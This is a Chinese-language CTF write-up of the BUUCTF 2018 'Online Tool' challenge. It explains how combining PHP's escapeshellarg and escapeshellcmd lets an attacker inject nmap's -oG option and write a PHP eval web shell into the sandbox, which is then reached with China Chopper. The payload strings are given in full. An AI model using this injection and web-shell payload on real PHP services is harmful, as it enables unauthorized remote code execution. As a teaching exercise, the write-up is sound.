[BUUCTF 2018]Online Tool

知识点

RCE
escapeshellarg和escapeshellcmd一起使用产生的问题

审题

很简洁的一个rce 不难看出是让我们传一个参数名为host 值为一个ip的参数 然后对这个ip进行nmap扫描 我们传入的ip会先后经过escapeshellarg和escapeshellcmd的转义 这两个函数是解题点 下面贴上这俩函数的用法escapeshellarg escapeshellcmd
我知道大家不想看php manual 所以我来稍微简单一点的解释一下这俩函数的作用

escapeshellarg

首先是escapeshellarg 他的作用就是将单引号转义 并将转义后的单引号的前后两部分再用一个单引号括上 这边贴上一个例子

1
123' ls ---> '123'\'' ls'

注意引号和空格的位置 很关键

escapeshellcmd

他的作用就很简单了 在&#;`|*?~<>^()[]{}$, \x0A 和 \xFF和没有配对的单引号前插入”" 注意注意注意注意 没有配对的单引号

1
'123'\'' ls' ---> '123'\\'' ls\'

在上面的那行代码里 只有最后的那一个单引号是没有配对的 中间的那俩并在一起的其实是配对了

二者合用会有什么神奇的事情呢

参考了dalao的文章

回到题目

题目过滤了| & && 但是题目是nmap啊 nmap的-oG命令可以写入文件 而可能有一个会让人疑惑的点 我用-oG写一个马 但是马里面的所有字符都被转义了 那马还能用吗 答案是可以的 转义只是让这个字符串不能参与命令的执行 但是写在文件里面他还是一个马 不知道这样解释能不能理解 当时做的时候理解这个payload理解了半天 现在我一步步把他写一下

1
2
123' <?php @eval($_POST["hack"]);?> -oG hack.php ' ---> '123'\'' <?php @eval($_POST["hack"]);?> -oG hack.php '\'''(每转义一个单引号 单引号前后部分都用单引号括起来
'123'\'' <?php @eval($_POST["hack"]);?> -oG hack.php '\''' ---> '123'\\'' <?php @eval($_POST["hack"]);?> -oG hack.php '\\'''(偶数单引号 两两配对

容易出错的地方

如果最后没加引号这个就不用解释了 如果没加引号 最后会变成这样

1
''\\'' \<\?php phpinfo\(\)\;\?\> -oG hack.php\'

也就是说在你的.php后面会多一个’ 变成.php’这肯定是我们不希望的

有一部分人肯定在最后加了引号没加空格 如果没加空格会怎么样

1
'123'\\'' <?php @eval($_POST["hack"]);?> -oG hack.php'\\'''

‘\‘这个字符很关键 在你将传的字符串写成一个文件的时候 他代表这在.php后面会跟着一个\ 变成.php\ 这很明显也是我们不想要的 没错了就可以包含了 文件地址就在sandbox里 菜刀拿到flag

EOF